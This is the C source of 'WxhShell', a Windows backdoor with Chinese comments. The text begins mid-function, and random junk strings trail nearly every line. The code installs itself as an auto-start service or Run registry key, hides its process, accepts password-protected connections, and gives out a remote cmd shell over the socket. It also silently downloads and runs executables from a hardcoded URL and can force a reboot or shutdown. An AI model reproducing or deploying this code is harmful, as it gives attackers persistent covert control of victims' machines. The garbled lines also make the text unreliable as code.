    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s80_e  
    else { /@RnCjc'  
    closesocket(wsh); uU.9*B=H9  
    ExitThread(0); B;;D(NH  
    } |-_5ou N.  
    break; jD^L<  
    } yK?~X V:  
  // 获取shell Op)0D:BmR  
  case 's': { kM3BP& 3m1  
    CmdShell(wsh); @LL&ggV?  
    closesocket(wsh); }h_Op7.5D  
    ExitThread(0); \ @N>38M  
    break; mZ;yk(  
  } <YeF?$S}  
  // 退出 _;B!6cRLps  
  case 'x': { 7Xad2wXn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @L<[38  
    CloseIt(wsh); FOk @W&  
    break; w ^<Y5K  
    } 8nnkv,wa  
  // 离开 9x?;;qC"m9  
  case 'q': { o@>c[knJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WQ5sC[&   
    closesocket(wsh); Ab2g),;c  
    WSACleanup(); @>9p2u)=  
    exit(1); TLSy+x_gX  
    break; (FjgnsW  
        } u\e#_*>  
  } j^%i?BWw  
  } btOTDqG`a  
=H,cwSE+%  
  // 提示信息 7t04!dD}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ooZ-T>$  
} <go~WpA|r  
  } qz0v1057#  
4[J3HLQ  
  return; ,#wVqBEk  
} 5R=lTx/Hj  
#Y5I_:k  
// shell模块句柄 F7;xf{n<  
int CmdShell(SOCKET sock) S-rqrbr|AT  
{ tJwF h6  
STARTUPINFO si; l#~Fe D  
ZeroMemory(&si,sizeof(si)); /5x `TT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T) ,:8/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; huF L [  
PROCESS_INFORMATION ProcessInfo;  ,g,jY]o  
char cmdline[]="cmd"; N9n1s2;o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *c AoE l  
  return 0; `>sqP aD  
} DYWC]*  
N6J$z\ P  
// 自身启动模式 ]JD$fS=_  
int StartFromService(void) R&4E7wrdP  
{ ]~qN<x  
typedef struct 6 gKOpa  
{ m_(hCY=Q$  
  DWORD ExitStatus; i52R,hz  
  DWORD PebBaseAddress; 1!f'nS  
  DWORD AffinityMask; EORRSP,$2  
  DWORD BasePriority; \9}5}X_x.  
  ULONG UniqueProcessId; @qC:% |>  
  ULONG InheritedFromUniqueProcessId; c"YK+2  
}   PROCESS_BASIC_INFORMATION; 0&.lSwa  
q9 ;\B&  
PROCNTQSIP NtQueryInformationProcess; xF/DYXC{8  
.HQ<6k:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; og\XLJ}_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gPwp [  
v)d0MxSC  
  HANDLE             hProcess; <=inogf  
  PROCESS_BASIC_INFORMATION pbi; o 4b{>x  
DrEtnt   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r{Q< a  
  if(NULL == hInst ) return 0; V^{!d}  
xI<dBg|]+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f oVD+\~Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m4DH90~a8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5HbTgNI  
Eo Urc9G2  
  if (!NtQueryInformationProcess) return 0; 3E ZwF  
=CVT8(N*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hX_p5a1t  
  if(!hProcess) return 0; A pjqSz"  
7[H`;l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =_dd4`G&<  
-7O/ed+  
  CloseHandle(hProcess); .zAafi0  
,jnRt%W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uu X"AFy~\  
if(hProcess==NULL) return 0; s4$m<"~  
4sj%:  
HMODULE hMod; nwo!A3w:  
char procName[255]; IA^)`l7H  
unsigned long cbNeeded; I.u,f:Fl'  
|+:ZO5FaO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D%idlL2%J  
>>bYg  
  CloseHandle(hProcess); _cw ^5  
kVrT?  
if(strstr(procName,"services")) return 1; // 以服务启动 Mdrv/x{  
M=WE^v!b  
  return 0; // 注册表启动 #P-HV  
} X{xJ*T y'  
1Kh?JH  
// 主模块 7h]R{_  
int StartWxhshell(LPSTR lpCmdLine) Kk98FI0]  
{ ;0!Wd  
  SOCKET wsl; 9,5II0N L  
BOOL val=TRUE; 62x< rph  
  int port=0; &&]!+fTZ\(  
  struct sockaddr_in door; $M`;."  
++!E9GU{  
  if(wscfg.ws_autoins) Install(); 'TrrOq4  
G r|@CZq  
port=atoi(lpCmdLine); I=%sDn  
mY 8=qkZE  
if(port<=0) port=wscfg.ws_port; >ij4z N  
/V<`L  
  WSADATA data; tMZ(s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $l;tP  
 DiQkT R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    GQ0(&I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % B &?D@  
  door.sin_family = AF_INET; I*t)x,~3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _*$B|%k   
  door.sin_port = htons(port); ba9<(0`  
'<=MhNh\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gqD^Bs'VF  
closesocket(wsl); JGDUCb~  
return 1; m90R8  V  
} .XKvk(9  
V&oT':%q  
  if(listen(wsl,2) == INVALID_SOCKET) { g**% J Xo  
closesocket(wsl); ,ok J eZ  
return 1; .&x?`pER  
} -mHhB(Td'  
  Wxhshell(wsl); [a)~Dui0@\  
  WSACleanup(); +R#`j r"  
8*#][ wC2  
return 0; ]az} n(B,  
6>BDA?  
} kw^Dp[8X  
@!a]qAt  
// 以NT服务方式启动 T7,Gf({  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;]ShC\1  
{ ;~:Ryl M  
DWORD   status = 0; q AVfbcb  
  DWORD   specificError = 0xfffffff; .(dmuV9  
/9+A97{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bb[0\Hs7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lcT+$4zk.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TnBGMI,g'  
  serviceStatus.dwWin32ExitCode     = 0; ]<;i} n| <  
  serviceStatus.dwServiceSpecificExitCode = 0; WUWb5xA  
  serviceStatus.dwCheckPoint       = 0; Rf(x^J{  
  serviceStatus.dwWaitHint       = 0; ]AC!R{H  
u1|P'>;lF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e=]oh$]  
  if (hServiceStatusHandle==0) return; h NOYFH  
30(m-D$K>9  
status = GetLastError(); r{!"%03H_  
  if (status!=NO_ERROR) uU ?37V  
{ S[hJ{0V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E"1 ;i  
    serviceStatus.dwCheckPoint       = 0; ?tC}M;~  
    serviceStatus.dwWaitHint       = 0; g. Caapy  
    serviceStatus.dwWin32ExitCode     = status; h,'mN\6t  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z:Y.":[ Qi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h GA0F9.U  
    return; &8_f'+i0  
  } 9 /Ai(  
!:5`im;i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K?Xo3W%K  
  serviceStatus.dwCheckPoint       = 0; !Zyx$2K  
  serviceStatus.dwWaitHint       = 0; &^ 3~=$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?` eYW Z">  
} 9{UP)17  
`/wq3+?  
// 处理NT服务事件,比如:启动、停止 /,!7jF:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n#^?X  
{ 6KCCbg/  
switch(fdwControl) &v auLp  
{ >.O*gv/ _  
case SERVICE_CONTROL_STOP: A D}}>v  
  serviceStatus.dwWin32ExitCode = 0; 22Y!u00D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  lGnql1(  
  serviceStatus.dwCheckPoint   = 0; ,'1Olu{v[s  
  serviceStatus.dwWaitHint     = 0; a._^E/EV  
  { 1^60I#Vr@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W]!@Zlal  
  } l\sS?  
  return; 2 -p  
case SERVICE_CONTROL_PAUSE: jgo<#AJ/E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f.$aFOn  
  break; ^!o1l-Y^gr  
case SERVICE_CONTROL_CONTINUE: !7kLFW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H81.p  
  break; PQ&Q71  
case SERVICE_CONTROL_INTERROGATE: /_:T\`5uO  
  break; @O<@f8-  
}; #lyM+.T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K[#v(<)  
} V6z@"+  
wHt#'`5  
// 标准应用程序主函数 uzVG q!'H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I_zk'  
{ D*XZT{1g  
g]==!!^<D  
// 获取操作系统版本  $||ns@F+  
OsIsNt=GetOsVer(); RI5g+Du?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lC /Hib  
47C(\\  
  // 从命令行安装 0V>ESyae5  
  if(strpbrk(lpCmdLine,"iI")) Install(); X@ bn??  
QWz Op\+  
  // 下载执行文件 r(,= uLc  
if(wscfg.ws_downexe) { \`P2Yq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) clq~ ;hx  
  WinExec(wscfg.ws_filenam,SW_HIDE); DYT@BiW{  
} yBPt%EF  
#7-kL7 MK]  
if(!OsIsNt) {  \8>  
// 如果时win9x,隐藏进程并且设置为注册表启动 0\EpH[m}-  
HideProc(); k%Ma4_Z  
StartWxhshell(lpCmdLine); wuBlFUSg  
} z<yNG/M1>U  
else e>?_)B4  
  if(StartFromService()) 7Ykj#"BZ  
  // 以服务方式启动 DnG/ n  
  StartServiceCtrlDispatcher(DispatchTable); "RV`L[(P*k  
else ;o-\.=l  
  // 普通方式启动 (c(-E|u.  
  StartWxhshell(lpCmdLine); )KaLSL>  
;gxN@%}@  
return 0; xZ.~:V03\t  
} W9&0k+#^  
93E,  
7d|*postv  
x9x#'H3  
=========================================== .])>A')r  
ba(arGZ+{  
.0nn0)"  
OYszW]UMg  
XD $%  
fV.A=*1l#  
" 4 |zdXS  
L;1$xI8tx  
#include <stdio.h> u%6Irdx  
#include <string.h> u( V  
#include <windows.h> [K/O5_  
#include <winsock2.h> NCowt|#t  
#include <winsvc.h> YVQ_tCC_!  
#include <urlmon.h> 4 [R8(U[g  
RLYU\@kK?  
#pragma comment (lib, "Ws2_32.lib") 18DTv6?QG  
#pragma comment (lib, "urlmon.lib") a)3O? Y  
Vl5SL{+D  
#define MAX_USER   100 // 最大客户端连接数 _o@(wGeu#  
#define BUF_SOCK   200 // sock buffer G$?|S@I,  
#define KEY_BUFF   255 // 输入 buffer 2Ueq6IuQ  
u @{E{  
#define REBOOT     0   // 重启 55 S\&Ad$  
#define SHUTDOWN   1   // 关机 Zdv.PGn  
p{iG{  
#define DEF_PORT   5000 // 监听端口 ioB|*D<U2  
q[{:  
#define REG_LEN     16   // 注册表键长度 d&}pgb-Md  
#define SVC_LEN     80   // NT服务名长度 =y)p>3p}&  
Zi 2o  
// 从dll定义API 1%$d D2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &Q\_;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! (2-(LgA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9 9Ba{qj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !MZ+-dpK  
Z~r[;={,  
// wxhshell配置信息 $x?NNS_ "J  
struct WSCFG { ?8 SK\{9r6  
  int ws_port;         // 监听端口 AuoxZ?V  
  char ws_passstr[REG_LEN]; // 口令 DJm oW  
  int ws_autoins;       // 安装标记, 1=yes 0=no ayV6m  
  char ws_regname[REG_LEN]; // 注册表键名 ;;ER"N  
  char ws_svcname[REG_LEN]; // 服务名 "KMLk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jrIA]K6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |ZS 57c:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7%{R#$F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hze-Ob8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G 6Wx3~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( MB`hk-d  
M (+.$uz  
}; `d75@0:  
c5X`_  
// default Wxhshell configuration q:vz?G  
struct WSCFG wscfg={DEF_PORT, 1*Sr5N[=  
    "xuhuanlingzhe", . _1jk  
    1, ?k [%\jq{a  
    "Wxhshell", .CVUEK@Z4  
    "Wxhshell", k1wCa^*gc  
            "WxhShell Service", c]6V"Bo}A  
    "Wrsky Windows CmdShell Service", %4j&H!y-w;  
    "Please Input Your Password: ", ;knd7SC   
  1, |J:$MX~  
  "http://www.wrsky.com/wxhshell.exe", RS'} nY}  
  "Wxhshell.exe" cvKV95bn  
    }; 1s Br.+p  
D+f'*|  
// 消息定义模块 "kX`FaAhY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G7 1U7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sa_R$ /H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u FMIY(vB  
char *msg_ws_ext="\n\rExit."; DC&A1I&  
char *msg_ws_end="\n\rQuit."; UQ5BH%EPb  
char *msg_ws_boot="\n\rReboot..."; C1V# ?03eI  
char *msg_ws_poff="\n\rShutdown..."; !tI=`Ml[  
char *msg_ws_down="\n\rSave to "; 3DH.4@7P  
8O;Vl  
char *msg_ws_err="\n\rErr!"; 0eFb?Z0]  
char *msg_ws_ok="\n\rOK!"; GP* +  
BEln6zj  
char ExeFile[MAX_PATH]; bFSlf5*H  
int nUser = 0; L59bu/LfL  
HANDLE handles[MAX_USER]; ,!`SY)  
int OsIsNt; #e*X0;m  
Ejq=*UOP  
SERVICE_STATUS       serviceStatus; ]$3+[9x'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mV<i JZh  
CoJ55TAW  
// 函数声明 ^"1TPd|  
int Install(void); G-arnu)  
int Uninstall(void); (B&h;U$HAH  
int DownloadFile(char *sURL, SOCKET wsh); $'^&\U~?  
int Boot(int flag); YZibi  
void HideProc(void); ~uB'3`x  
int GetOsVer(void); DR6]-j!FK  
int Wxhshell(SOCKET wsl); qh-[L  
void TalkWithClient(void *cs); Qu`n&  
int CmdShell(SOCKET sock);  JX{KYU  
int StartFromService(void); mG_BM/$  
int StartWxhshell(LPSTR lpCmdLine); ` K w7"  
`|]e6Pb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uh.Sc:trA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [G a~%m  
$_)=8"Sn  
// 数据结构和表定义 ymtd>P"  
SERVICE_TABLE_ENTRY DispatchTable[] = MD<-w|#8IV  
{ k^^:;OR  
{wscfg.ws_svcname, NTServiceMain}, AliRpxxd  
{NULL, NULL} 1~'_K9eE  
}; ]NtSu%u  
kg3ppt  
// 自我安装 . |uLt J  
int Install(void)  5@ foxI  
{ :M j_2  
  char svExeFile[MAX_PATH]; kM!V .e[g  
  HKEY key; ?>V6P_r>  
  strcpy(svExeFile,ExeFile); B;!f<"a8  
+yWR#[`n  
// 如果是win9x系统,修改注册表设为自启动 RZO5=L9E  
if(!OsIsNt) { 6Nt$ZYS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (;}tf~~r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # .<V^  
  RegCloseKey(key); 6^;^rUlm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zn&k[?;Al  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <qhBc:kc  
  RegCloseKey(key); .Pw%DZ'  
  return 0; yG&2UqX  
    } S$e Dnw~$  
  } u g\w\b  
} Kd3QqVJBz1  
else { w(B H247`  
A62<]R)n  
// 如果是NT以上系统,安装为系统服务 nJJs% @y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cXN _*%  
if (schSCManager!=0) .+E#q&=  
{ dig~J\  
  SC_HANDLE schService = CreateService KFDS q"j  
  ( |y"jZT6R}t  
  schSCManager, TY.FpW  
  wscfg.ws_svcname, ,=o0BD2q  
  wscfg.ws_svcdisp, e7xj_QH  
  SERVICE_ALL_ACCESS, bU`=*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v7IzDz6gF  
  SERVICE_AUTO_START, )`8pd 7<.  
  SERVICE_ERROR_NORMAL, F>+2DlA`<e  
  svExeFile, 6GYtY>  
  NULL, ([ dT!B#aH  
  NULL, %6ub3PLw8  
  NULL, \ZD[ !w7  
  NULL, `HW:^T  
  NULL Ftv8@l  
  ); (ZP87Gz  
  if (schService!=0) 1pP1d%  
  { >qR~'$,$  
  CloseServiceHandle(schService); 9s`/~ a@  
  CloseServiceHandle(schSCManager); Bux'hc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ? _ <[T  
  strcat(svExeFile,wscfg.ws_svcname); u1cu]Sj0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '<@=vGsye  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d TGA5c  
  RegCloseKey(key); 7zDiHac  
  return 0; = .oHnMX2M  
    } *Oo &}oAj  
  } }nud  
  CloseServiceHandle(schSCManager); NQ9Ojj{#  
} GK{{7B  
} RY=1H  
b2 kWjg.4  
return 1; z^W$%G  
} l#bAl/c`  
5PZN^\^  
// 自我卸载 6^#uLp>  
int Uninstall(void) `cr(wdvI  
{ [pgZbOIN37  
  HKEY key; ]hE="z=n  
4nkE IZ  
if(!OsIsNt) { otr>3a*'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B@t'U=@7  
  RegDeleteValue(key,wscfg.ws_regname); "tu*YNP\Q  
  RegCloseKey(key); 5Qa zHlJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :0 ^s0l  
  RegDeleteValue(key,wscfg.ws_regname); PlCc8Zy  
  RegCloseKey(key); w([$@1]  
  return 0; sR=/%pVN  
  }  k0H#:c}  
} <]G${y*;  
} t FgX\4  
else { n56;m`IU  
I*\^,ow  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "T6#  
if (schSCManager!=0) D59T?B|BdD  
{ PRs@zkO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2 x 4=  
  if (schService!=0) Yrn"saVc,  
  { F}X0',   
  if(DeleteService(schService)!=0) { 7m1KR#j  
  CloseServiceHandle(schService); Q\kub_I{@  
  CloseServiceHandle(schSCManager); Sm|(  
  return 0; m)&znLA  
  } SEF6B45}1  
  CloseServiceHandle(schService); \#dl6:"  
  } Q M 1F?F  
  CloseServiceHandle(schSCManager); F#V q#|_)>  
} p-$Cs _{Z  
} \ijMw  
GAEO$e:  
return 1; rZwB> c  
} TGV  
S~F`  
// 从指定url下载文件 7#-y-B]l  
int DownloadFile(char *sURL, SOCKET wsh) :w-`PY J%G  
{ Jb(Y,LO^  
  HRESULT hr; sR_xe}-  
char seps[]= "/"; {'bip`U.  
char *token; 7*+TP~WI  
char *file; j"7 JLe*  
char myURL[MAX_PATH]; #DI$Oc  
char myFILE[MAX_PATH]; /-Qv?"  
g]$ 4~"|.  
strcpy(myURL,sURL); TbhH&kG)1  
  token=strtok(myURL,seps); ;+Y i.Q/\  
  while(token!=NULL) MagMZR  
  {  6sxz_f  
    file=token; wu~hqd  
  token=strtok(NULL,seps); ?S#\K^  
  } 8+'C_t/0i  
\m/xV /  
GetCurrentDirectory(MAX_PATH,myFILE); 4$"DbaC  
strcat(myFILE, "\\"); uV]ULm#,i  
strcat(myFILE, file); *l>0t]5YH  
  send(wsh,myFILE,strlen(myFILE),0); i~yX tya  
send(wsh,"...",3,0); (#Mp 5C'X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;b%{ilx:  
  if(hr==S_OK) A7-r <s  
return 0; faJM^u  
else kE)!<1yy2  
return 1; 8{I"q[GZ  
rT7^-B*  
} Un@\kAY  
"{BqtU*.  
// 系统电源模块 xJ(:m<z  
int Boot(int flag) aXR%;]<Dw  
{ t[C1z  
  HANDLE hToken; d'HOpJE  
  TOKEN_PRIVILEGES tkp; |. C1|J'Z  
%|"Qi]c d  
  if(OsIsNt) { "Pc$\zJm;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [ygF0-3ND  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +m$5a YX  
    tkp.PrivilegeCount = 1; #V_GOy1-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2WCLS{@'  
if(flag==REBOOT) { e%6{ME 3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $\\lx_)  
  return 0; j, u#K)7{T  
} )pgrl  
else { `y!/F?o+!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >-cfZ9{!  
  return 0; f~M8A.  
}  '3 ,\@4  
  } Ex(3D[WmMW  
  else { \M+L3*W  
if(flag==REBOOT) { xHkxc}h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :pC;`iQ  
  return 0; 'Cg{_z.~c  
} lF4u{B9DM  
else {  i g71/'D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X>l*v\F9  
  return 0; G*n2Ii  
} j$@tK0P  
} `rFAZcEj%  
mP}#Ccji?  
return 1; Np,2j KF(  
} =,/D/v$m'2  
#$1$T  
// win9x进程隐藏模块 4E3g,%9u  
void HideProc(void) ecHP &Z$  
{ Wk7WK` >i  
#G;X' BN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q~Jq/E"f  
  if ( hKernel != NULL ) d/U."V}  
  { p+w8$8)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i^2IW&+}e}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "^rNr_  
    FreeLibrary(hKernel); wyY*:{lZ  
  } o'= VZT9  
_6LoVS  
return; -T_\f?V88  
} _j ;3-m  
t&RruwN_;  
// 获取操作系统版本 O!F]^'!  
int GetOsVer(void) *"9<TSU%m  
{ _%pAlo_6  
  OSVERSIONINFO winfo; b`~wG e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +!O- kd  
  GetVersionEx(&winfo); p^QZq>v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W |UtY`1  
  return 1; D<):ZfUbI  
  else shFc[A,r}  
  return 0; <d7xt* 4  
} =!0I_L/  
1/iE`Si  
// 客户端句柄模块 cf;Ht^M\  
int Wxhshell(SOCKET wsl) L\  j:  
{ wGLF%;rRe4  
  SOCKET wsh; Dkw7]9Qm  
  struct sockaddr_in client; SI-X[xf  
  DWORD myID; eBcJm  
l5O=VqCj  
  while(nUser<MAX_USER) o /p-!  
{ F[E? A95W  
  int nSize=sizeof(client); %$mjJw<|&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^R_e  
  if(wsh==INVALID_SOCKET) return 1; @.9I3E-=  
`E>vG-9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ijo(^v@  
if(handles[nUser]==0) Yp5L+~J[  
  closesocket(wsh); =3'(A14C=  
else kX;$}7n  
  nUser++; ])T/sO#'  
  } C1B'#F9EO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T9jw X:n  
TQ'E5^  
  return 0; S@}4-\  
}  *4yN3y  
2$0)?ZC?=  
// 关闭 socket }Ik1bkK  
void CloseIt(SOCKET wsh) Q,e*#oK3$  
{ WZ~> BM  
closesocket(wsh); fI:H8  
nUser--; b9("DZW;  
ExitThread(0); \ P/W8{  
} ; B$ *)X9  
L.)yXuo4  
// 客户端请求句柄 ElR)Gd_8  
void TalkWithClient(void *cs) km 5E)_]  
{ ]+%=@mWYs  
77aX-e*=E  
  SOCKET wsh=(SOCKET)cs; +{-]P\oc  
  char pwd[SVC_LEN]; F)ci9-b@  
  char cmd[KEY_BUFF]; q627<  
char chr[1]; e}"wL g]  
int i,j; tOg=zXm   
v\0^mp  
  while (nUser < MAX_USER) { gGfq6{9g  
=/Juh7[C  
if(wscfg.ws_passstr) { uqZ3Hyb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^gg!Me  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E(Gr0#8  
  //ZeroMemory(pwd,KEY_BUFF); eyB_l.U7  
      i=0; F(4yS2h(  
  while(i<SVC_LEN) { rsxRk7s@  
z7=fDe -  
  // 设置超时 >t #\&|9I  
  fd_set FdRead; p;->hn~D'5  
  struct timeval TimeOut; F`& >NQb  
  FD_ZERO(&FdRead); Eo=HNe  
  FD_SET(wsh,&FdRead); o# {#r@,i  
  TimeOut.tv_sec=8; kL;t8{n  
  TimeOut.tv_usec=0; {ymb\$f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r{ @ `o@q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (%DRt4u <H  
=K'L|QKF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !0jq6[&  
  pwd=chr[0]; n;OHH{E{  
  if(chr[0]==0xd || chr[0]==0xa) { A{`]& K1u  
  pwd=0; 6>B \|  
  break; fPz=KoN  
  } `:5,e/5,  
  i++; Vy;_GfT$  
    } T`Hw49  
x[Q&k[xV  
  // 如果是非法用户,关闭 socket SIv[9G6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <}2A=~ _  
} 5$^c@ 0  
^H!Lp[5c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i+ic23$4M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AM/lbMr  
FsY`nWwg  
while(1) { A-0m8<  
SLh~_ 5  
  ZeroMemory(cmd,KEY_BUFF); e "_"vbk  
9 z*(8d  
      // 自动支持客户端 telnet标准   zJ_My&~  
  j=0; =t.F2'<[Z  
  while(j<KEY_BUFF) { `7_n}8NVC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sT1j F3  
  cmd[j]=chr[0]; "m>};.lj  
  if(chr[0]==0xa || chr[0]==0xd) { Sf/W9Jw  
  cmd[j]=0; \e0x ,2  
  break; _IKQ36=  
  } ca}S{"  
  j++; C->[$HcRa  
    } T&*eOr  
UJwq n"Q^  
  // 下载文件 6jtTT%>y  
  if(strstr(cmd,"http://")) { AeQC:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4#@0T"T~M  
  if(DownloadFile(cmd,wsh)) ?>TbT fmR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gx|Dql  
  else Sy B-iQn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =U_ @zDD@V  
  } I,9~*^$  
  else { @`2ozi~lO  
] - h|]  
    switch(cmd[0]) { c}\ d5R_L  
  U]mO7HK  
  // 帮助 ,s8&#1rJ-  
  case '?': { ]E..43  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l~{T#Q  
    break; qL~Pjr>cF  
  } /0!$p[cjm  
